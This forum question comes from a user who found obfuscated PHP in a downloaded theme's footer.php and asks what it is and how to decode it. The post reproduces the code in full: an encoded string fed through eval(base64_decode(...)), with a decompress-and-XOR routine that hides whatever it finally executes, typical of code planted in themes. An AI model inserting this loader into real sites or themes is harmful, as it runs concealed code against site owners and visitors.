Strange code in theme

I’ve just downloaded a theme and I’ve noticed some strange code in the footer.php and index.php It looks like some sort of encription so I tried a base64 decoder but wouldn’t decode. What do you think this is and why do you think it’s encripted? Even better if you could tell me how to decode it that would be great.

Here’s what was in my footer.php file:

<?php
$o=”QAAAOzh3b3cnI2ZId3NuaGl0JwAAOidIaUNiamZpYz09bmluc4AAAYQvYWZrdGIuPCc4OQoNO2MAAm5xJ25jOiVhaGhzYnUlATAOKCQ7dwBhDgTzYmRvaC8FRlwgAoMqcwQQYn9zIFoEUjtldScoAyN0amZrABhrOSF2cmhzPEhpJwfTAPMnc28AAGJqYidkdWJmc2JjJ2V+PScAADtmJ291YmE6JW9zc3c9KCgAAHBwcClwbmRsYmMqcGh1Y3cEAHVidHQqA3J0KWRoaiU5QXViEg5iJ1ABtSdTBSF0OyhmOQTwBO8E4HcAAHVobWJkc2lmc2ZrYGZqYnWkyASDVwFzJ0kBgSdAAZAEYjsoDAMKDQ4CAA47JioqJxAnJ2Bic1hpcmpYAKl2cmJ1bmJ0Lw+iJwDkKQKkc24GMAEAWHRzaHcvNgITdGJkaGljdCkSfCcqKhIhOygVsTsoF1AA8ACFGGAbonB3ZgBYFeMF4woNAZAIcFxuYSdOQicxWoACAzF0ZHVud3Mnc353YjolGFEoCIBtZnFmAWMlOScLsCgtS2hmYyckCG1WCqB+JwPAaWhzJ2ZrF4BjfidCkGsBsGJjLSgBgC8EQWhhApU6OicgAAByaWNiYW5pYmMgLnwnY2hkAANyamJpcylwdW5zYi8lOwZTB7NACFsHzVslJycndHVkOlsc5WZtZgAUfylgaGhga2Jmd24cIigBQShrBARuZXQobROxfig2KTQpNQDUKWoABG5pKW10WyU5OyglLCUG8zklgEEUkHFmdSdYWGloFMBha25kcy2gAYBzdXJiPCd6DxEB4U5CMVJXQ0YAKVNCWEhXU05ISVQCMHwQ0A5uA0AAgHRYd2Zzbz0nCaV0c2ZzbmQpAwpuYjFyd2Mo4CFRKG9odCmAKAFWKACvbmpmYGJ0KCUEYHoYkCgJBACwAKMQk75wEI0lEFIGrwavBqgIlm10D9EGAx7hJlxiaQwQY25hWiPiB6AoZWhjfgGRKG9zakAAawCQ”;eval(base64_decode(“JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw==”));return;?>